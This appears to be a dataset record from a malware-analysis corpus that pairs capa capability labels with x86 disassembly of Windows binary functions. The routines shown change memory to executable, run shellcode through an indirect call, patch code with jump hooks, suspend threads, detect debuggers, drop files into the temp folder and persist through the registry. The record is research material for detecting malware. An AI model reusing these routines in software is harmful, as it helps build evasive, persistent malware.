joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100952e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100b9d0d
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x28
mov eax, dword [0x100cf360]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x100cfaa0], 4
jne 0x1009535a
mov esi, dword [0x101ccc70]
mov edi, dword [esi + 0x174]
test edi, edi
jle 0x1009535a
mov edx, dword [esi + 0x4cb0]
mov ecx, dword [0x101ccc18]
add edx, dword [esi + 0x4cac]
push edx
push dword [esi + 0x4cb4]
mov eax, dword [ecx]
push 1
push edi
mov eax, dword [eax + 0xc]
call eax
movss xmm0, dword [0x100c440c]
comiss xmm0, dword [0x100e3898]
jbe 0x1009537a
mov eax, dword [0x101ccc18]
mov dword [eax + 0xfc0], 1
cmp byte [0x101d4d58], 0
jne 0x1009544d
push 0x22
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0
push str.B8_________3B_F0_0F_4F_F0_89_5D_FC
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x20], 0
movups xmmword [ebp - 0x34], xmm0
call fcn.10026a40
mov dword [ebp - 4], 0
mov eax, dword [0x101ccbd0]
test eax, eax
je 0x100953c0
mov edx, dword [eax + 0x50]
jmp 0x100953c2
xor edx, edx
mov eax, dword [0x101ccbc8]
test eax, eax
je 0x100953d0
mov eax, dword [eax + 0x18]
jmp 0x100953d2
xor eax, eax
lea ecx, [ebp - 0x34]
push ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.10049110
mov edi, dword [ebp - 0x1c]
add esp, 8
mov ecx, dword [ebp - 0x20]
inc edi
cmp ecx, 0x10
jb 0x1009541c
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10095412
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10095412
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100af9f8
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x18]
push eax
push 0x40
push 4
push edi
mov dword [ebp - 0x18], 0
call esi
lea eax, [ebp - 0x18]
mov dword [edi], 0x3e
push eax
push dword [ebp - 0x18]
push 4
push edi
call esi
mov byte [0x101d4d58], 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100af496
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x10095820
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
movzx eax, byte [esi]
xor al, byte [ecx]
and al, 1
xor byte [ecx], al
mov dl, byte [esi]
xor dl, byte [ecx]
and dl, 2
xor dl, byte [ecx]
mov byte [ecx], dl
movzx eax, byte [esi]
xor al, dl
and al, 4
xor al, dl
mov byte [ecx], al
mov eax, dword [esi + 4]
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov dword [ecx + 8], eax
movq xmm0, qword [esi + 0xc]
movq qword [ecx + 0xc], xmm0
mov eax, dword [esi + 0x14]
mov dword [ecx + 0x14], eax
movq xmm0, qword [esi + 0x18]
movq qword [ecx + 0x18], xmm0
mov eax, dword [esi + 0x20]
mov dword [ecx + 0x20], eax
mov eax, dword [esi + 0x24]
mov dword [ecx + 0x24], eax
mov eax, dword [esi + 0x28]
mov dword [ecx + 0x28], eax
mov eax, dword [esi + 0x2c]
mov dword [ecx + 0x2c], eax
mov eax, dword [esi + 0x30]
mov dword [ecx + 0x30], eax
mov eax, dword [esi + 0x34]
mov dword [ecx + 0x34], eax
mov eax, dword [esi + 0x38]
mov dword [ecx + 0x38], eax
mov eax, dword [esi + 0x3c]
mov dword [ecx + 0x3c], eax
movq xmm0, qword [esi + 0x40]
movq qword [ecx + 0x40], xmm0
mov eax, dword [esi + 0x48]
mov dword [ecx + 0x48], eax
movq xmm0, qword [esi + 0x4c]
movq qword [ecx + 0x4c], xmm0
mov eax, dword [esi + 0x54]
mov dword [ecx + 0x54], eax
mov eax, dword [esi + 0x58]
mov dword [ecx + 0x58], eax
movq xmm0, qword [esi + 0x5c]
movq qword [ecx + 0x5c], xmm0
mov eax, dword [esi + 0x64]
mov dword [ecx + 0x64], eax
movq xmm0, qword [esi + 0x68]
movq qword [ecx + 0x68], xmm0
mov eax, dword [esi + 0x70]
mov dword [ecx + 0x70], eax
mov eax, dword [esi + 0x74]
mov dword [ecx + 0x74], eax
movq xmm0, qword [esi + 0x78]
movq qword [ecx + 0x78], xmm0
mov eax, dword [esi + 0x80]
mov dword [ecx + 0x80], eax
movq xmm0, qword [esi + 0x84]
movq qword [ecx + 0x84], xmm0
mov eax, dword [esi + 0x8c]
mov dword [ecx + 0x8c], eax
movq xmm0, qword [esi + 0x90]
movq qword [ecx + 0x90], xmm0
mov eax, dword [esi + 0x98]
mov dword [ecx + 0x98], eax
mov eax, dword [esi + 0x9c]
mov dword [ecx + 0x9c], eax
mov eax, dword [esi + 0xa0]
mov dword [ecx + 0xa0], eax
mov eax, dword [esi + 0xa4]
mov dword [ecx + 0xa4], eax
movzx eax, byte [esi + 0xa8]
mov byte [ecx + 0xa8], al
movq xmm0, qword [esi + 0xac]
movq qword [ecx + 0xac], xmm0
mov eax, dword [esi + 0xb4]
mov dword [ecx + 0xb4], eax
mov eax, ecx
pop esi
pop ebp
ret 4
Function at 0x100ad160
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push esi
push edi
lea edi, [ebp - 0x30]
mov ecx, 0xc
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x100cf360]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x100ad2dc
mov dword [ebp - 0x28], 0x1c
lea eax, [ebp - 0x28]
push eax
mov ecx, dword [ebp - 8]
push ecx
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x100ad2c9
cmp dword [ebp - 0x28], 0x10
jb 0x100ad2ad
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, esp
call fcn.100b0071
cmp dword [ebp - 0x1c], eax
jne 0x100ad2ad
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp esi, esp
call fcn.100b0071
cmp dword [ebp - 0x20], eax
je 0x100ad2ad
mov edx, dword [ebp + 8]
cmp dword [edx], 0
jne 0x100ad234
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0x80
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
shl edx, 2
mov esi, esp
push edx
push 0
mov eax, dword [0x100ef554]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp esi, esp
call fcn.100b0071
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov edx, dword [ebp + 8]
cmp dword [edx], 0
jne 0x100ad232
jmp 0x100ad2c9
jmp 0x100ad28d
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
mov edx, dword [eax + 8]
cmp edx, dword [ecx + 4]
jb 0x100ad28d
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
shl ecx, 1
shl ecx, 2
mov esi, esp
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
push 0
mov ecx, dword [0x100ef554]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
cmp esi, esp
call fcn.100b0071
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x100ad277
jmp 0x100ad2c9
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
shl eax, 1
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x30]
mov dword [edx], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 8]
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x20]
mov dword [ecx + edx*4], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 8]
add edx, 1
mov eax, dword [ebp + 8]
mov dword [eax + 8], edx
mov dword [ebp - 0x28], 0x1c
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp - 8]
push edx
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x100ad1b3
mov esi, esp
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.100b0071
push edx
mov ecx, ebp
push eax
lea edx, [0x100ad308]
call fcn.100b001d
pop eax
pop edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100af496
add esp, 0x30
cmp ebp, esp
call fcn.100b0071
mov esp, ebp
pop ebp
ret
Function at 0x100ad320
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov dword [ebp - 8], 0xcccccccc
mov dword [ebp - 4], 0xcccccccc
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], 0
mov edx, dword [ebp + 8]
mov dword [edx + 8], 0
mov eax, dword [ebp + 8]
push eax
call fcn.100ad160
add esp, 4
mov ecx, dword [ebp + 8]
cmp dword [ecx], 0
je 0x100ad3eb
mov dword [ebp - 4], 0
jmp 0x100ad37c
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
cmp ecx, dword [eax + 8]
jae 0x100ad3eb
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov esi, esp
mov ecx, dword [ebp - 4]
mov edx, dword [eax + ecx*4]
push edx
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
cmp esi, esp
call fcn.100b0071
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100ad3e9
mov esi, esp
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp esi, esp
call fcn.100b0071
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.100acf80
add esp, 0xc
mov esi, esp
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.100b0071
jmp 0x100ad373
pop esi
add esp, 8
cmp ebp, esp
call fcn.100b0071
mov esp, ebp
pop ebp
ret

Function at 0x100ad400
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov dword [ebp - 8], 0xcccccccc
mov dword [ebp - 4], 0xcccccccc
mov eax, dword [ebp + 8]
cmp dword [eax], 0
je 0x100ad4ab
mov dword [ebp - 4], 0
jmp 0x100ad433
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
cmp eax, dword [edx + 8]
jae 0x100ad48e
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov esi, esp
mov eax, dword [ebp - 4]
mov ecx, dword [edx + eax*4]
push ecx
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
cmp esi, esp
call fcn.100b0071
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100ad48c
mov esi, esp
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp esi, esp
call fcn.100b0071
mov esi, esp
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.100b0071
jmp 0x100ad42a
mov esi, esp
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
push 0
mov eax, dword [0x100ef554]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp esi, esp
call fcn.100b0071
pop esi
add esp, 8
cmp ebp, esp
call fcn.100b0071
mov esp, ebp
pop ebp
ret
Function at 0x100ad4c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
mov eax, 0xcccccccc
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
imul eax, dword [ebp + 8], 0x2c
add eax, dword [0x101d53a0]
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 5
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 4]
mov cl, byte [eax + 0x14]
and cl, 1
movzx edx, cl
test edx, edx
je 0x100ad523
mov eax, dword [ebp - 0x18]
sub eax, 5
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x14]
add ecx, 2
mov dword [ebp - 0x14], ecx
mov esi, esp
lea edx, [ebp - 0xc]
push edx
push 0x40
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp esi, esp
call fcn.100b0071
test eax, eax
jne 0x100ad54e
mov eax, 0xa
jmp 0x100ad650
cmp dword [ebp + 0xc], 0
je 0x100ad59a
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov byte [eax], 0xe9
mov ecx, dword [ebp - 0x18]
add ecx, 5
mov edx, dword [ebp - 4]
mov eax, dword [edx + 4]
sub eax, ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 1], eax
mov edx, dword [ebp - 4]
mov al, byte [edx + 0x14]
and al, 1
movzx ecx, al
test ecx, ecx
je 0x100ad598
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov byte [ecx], 0xeb
mov edx, dword [ebp - 0x20]
mov byte [edx + 1], 0xf9
jmp 0x100ad5d6
mov eax, dword [ebp - 4]
mov cl, byte [eax + 0x14]
and cl, 1
movzx edx, cl
test edx, edx
je 0x100ad5c1
push 7
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
jmp 0x100ad5d6
push 5
mov edx, dword [ebp - 4]
add edx, 0xc
push edx
mov eax, dword [ebp - 0x18]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov esi, esp
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp esi, esp
call fcn.100b0071
mov esi, esp
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov edi, esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, esp
call fcn.100b0071
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
cmp esi, esp
call fcn.100b0071
mov cl, byte [ebp + 0xc]
and cl, 1
shl cl, 1
mov edx, dword [ebp - 4]
mov al, byte [edx + 0x14]
and al, 0xfd
or al, cl
mov ecx, dword [ebp - 4]
mov byte [ecx + 0x14], al
mov dl, byte [ebp + 0xc]
and dl, 1
shl dl, 2
mov eax, dword [ebp - 4]
mov cl, byte [eax + 0x14]
and cl, 0xfb
or cl, dl
mov edx, dword [ebp - 4]
mov byte [edx + 0x14], cl
xor eax, eax
push edx
mov ecx, ebp
push eax
lea edx, [0x100ad674]
call fcn.100b001d
pop eax
pop edx
pop edi
pop esi
add esp, 0x20
cmp ebp, esp
call fcn.100b0071
mov esp, ebp
pop ebp
ret
Function at 0x100add40
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov dword [ebp - 8], 0xcccccccc
mov dword [ebp - 4], 0xcccccccc
mov eax, dword [0x101d5394]
mov dword [ebp - 4], eax
jmp 0x100add67
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x100add80
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
je 0x100add7e
mov eax, dword [ebp - 4]
jmp 0x100ade04
jmp 0x100add5f
mov esi, esp
push 0x40
push 0x3000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp esi, esp
call fcn.100b0071
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x100ade01
mov ecx, dword [ebp - 4]
add ecx, 0x20
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
mov dword [edx + 4], 0
mov eax, dword [ebp - 4]
mov dword [eax + 8], 0
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 4]
mov dword [ecx], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [ecx + 4], edx
mov eax, dword [ebp - 8]
add eax, 0x20
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 4]
cmp ecx, 0xfe0
jbe 0x100addc3
mov edx, dword [ebp - 4]
mov eax, dword [0x101d5394]
mov dword [edx], eax
mov ecx, dword [ebp - 4]
mov dword [0x101d5394], ecx
mov eax, dword [ebp - 4]
pop esi
add esp, 8
cmp ebp, esp
call fcn.100b0071
mov esp, ebp
pop ebp
ret

Function at 0x100ae2f0
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0xcccccccc
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp + 8]
movzx eax, byte [edx + ecx]
test eax, eax
je 0x100ae340
mov ecx, 1
imul edx, ecx, 0
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + edx]
cmp ecx, 0x90
je 0x100ae340
mov edx, 1
imul eax, edx, 0
mov ecx, dword [ebp + 8]
movzx edx, byte [ecx + eax]
cmp edx, 0xcc
je 0x100ae340
xor eax, eax
jmp 0x100ae381
mov dword [ebp - 4], 1
jmp 0x100ae352
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x100ae37c
mov edx, dword [ebp + 8]
add edx, dword [ebp - 4]
movzx eax, byte [edx]
mov ecx, 1
imul edx, ecx, 0
mov ecx, dword [ebp + 8]
movzx edx, byte [ecx + edx]
cmp eax, edx
je 0x100ae37a
xor eax, eax
jmp 0x100ae381
jmp 0x100ae349
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4058f0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov eax, dword fs:[0x30]
movzx eax, byte [eax + 2]
or al, al
je 0x40590f
mov eax, 1
jmp 0x405911
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405920
Capabilities:
Terminate process

Disassembly:
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 1
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
ret
Function at 0x405e70
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, ecx
xor ebx, ebx
mov esi, 0x4106e4
mov dl, 8
mov ecx, ebx
call fcn.00405e40
shl eax, 0x18
mov dword [esi], eax
mov edx, 8
mov ebp, eax
mov eax, ebp
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
add eax, eax
and ecx, edi
xor ecx, eax
dec edx
mov ebp, ecx
jne 0x405e92
mov dl, 0x20
mov dword [esi], ebp
call fcn.00405e40
mov dword [esi], eax
add esi, 4
inc ebx
cmp esi, 0x410ae0
jle 0x405e7d
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x405ed0
Capabilities:
Encode data using xor

Disassembly:
or eax, 0xffffffff
test edx, edx
je 0x405efb
push ebx
push esi
lea esi, [edx]
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x4106e4]
xor eax, edx
inc ecx
dec esi
jne 0x405edb
pop esi
pop ebx
not eax
ret
Function at 0x4060d0
Capabilities:
Delete file
Get common file path
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x314
push ebx
push ebp
push esi
lea eax, [esp + 0x14]
push edi
push eax
mov dword [esp + 0x14], ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [esp + ecx + 0x17], 0x5c
je 0x406131
mov edi, 0x4012a4
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x402010
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x8000
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00409aa9
mov edi, eax
add esp, 4
test edi, edi
jne 0x40617d
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x314
ret
push edi
push 0x401ba0
call fcn.00409870
add esp, 8
mov ebx, eax
lea eax, [esp + 0x18]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x18]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push edx
call ebp
mov esi, eax
cmp esi, 0xffffffff
jne 0x4061e4
push edi
call fcn.00409918
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x314
ret
lea eax, [esp + 0x14]
push 0
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.00409918
add esp, 4
lea ecx, [esp + 0x11c]
lea edx, [esp + 0x18]
push 0x104
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea eax, [esp + 0x11c]
lea ecx, [esp + 0x220]
push eax
push 0x4012b8
push ecx
call fcn.00409998
add esp, 0xc
lea edx, [esp + 0x220]
push 0
push 0x44000000
push 0
push 0
push 0
push 0
push edx
call ebp
mov esi, eax
cmp esi, 0xffffffff
jne 0x406266
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x314
ret
lea eax, [esp + 0x18]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
mov edx, dword [esp + 0x10]
pop edi
mov dword [edx], esi
pop esi
pop ebp
pop ebx
add esp, 0x314
ret
Function at 0x4062a0
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x110
push ebx
lea eax, [esp + 4]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push eax
push 1
push 0
push 0x402030
mov ebx, ecx
push 0x80000002
mov dword [esp + 0x1c], 0
call esi
test eax, eax
jne 0x40631a
lea ecx, [esp + 0xc]
lea edx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push edx
push eax
push 0
push 0x402024
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x406328
cmp byte [esp + 0x19], 0x3a
jne 0x406328
lea edx, [esp + 0x18]
push ebx
push edx
call fcn.00410050
add esp, 8
test eax, eax
jne 0x406328
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov eax, 1
pop ebx
add esp, 0x110
ret
lea ecx, [esp + 8]
mov dword [esp + 8], 0
push ecx
push 0xf003f
push 0
push 0x402030
push 0x80000002
call esi
test eax, eax
jne 0x40631a
push edi
mov edi, 0x40201c
or ecx, 0xffffffff
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x18]
push ecx
push eax
mov dword [esp + 0x18], ecx
mov ecx, dword [esp + 0x14]
push 2
push 0
push 0x402024
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop edi
je 0x40631a
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
Function at 0x4063f0
Capabilities:
Delete file
Get common file path
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x110
push ebx
push ebp
push esi
lea eax, [esp + 0x18]
push edi
push eax
mov dword [esp + 0x18], ecx
push 0x104
mov dword [esp + 0x18], 0xffffffff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [esp + ecx + 0x1b], 0x5c
je 0x406459
mov edi, 0x4012a4
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x402064
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x8000
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00409aa9
mov esi, eax
add esp, 4
test esi, esi
jne 0x4064a5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret
push esi
push 0x4014c0
call fcn.00409870
mov ebp, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
add esp, 8
mov ebx, eax
lea eax, [esp + 0x1c]
push 0x80
push eax
call ebp
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esp + 0x1c]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40650c
push esi
call fcn.00409918
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret
lea eax, [esp + 0x18]
push 0
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.00409918
add esp, 4
lea ecx, [esp + 0x1c]
call fcn.004062a0
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x10]
push 0x40205c
mov dword [esp + 0x14], 0xffffffff
call fcn.00405d30
lea ecx, [esp + 0x1c]
push 0x80
push ecx
call ebp
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x10]
cmp eax, 0xffffffff
jne 0x40657c
pop edi
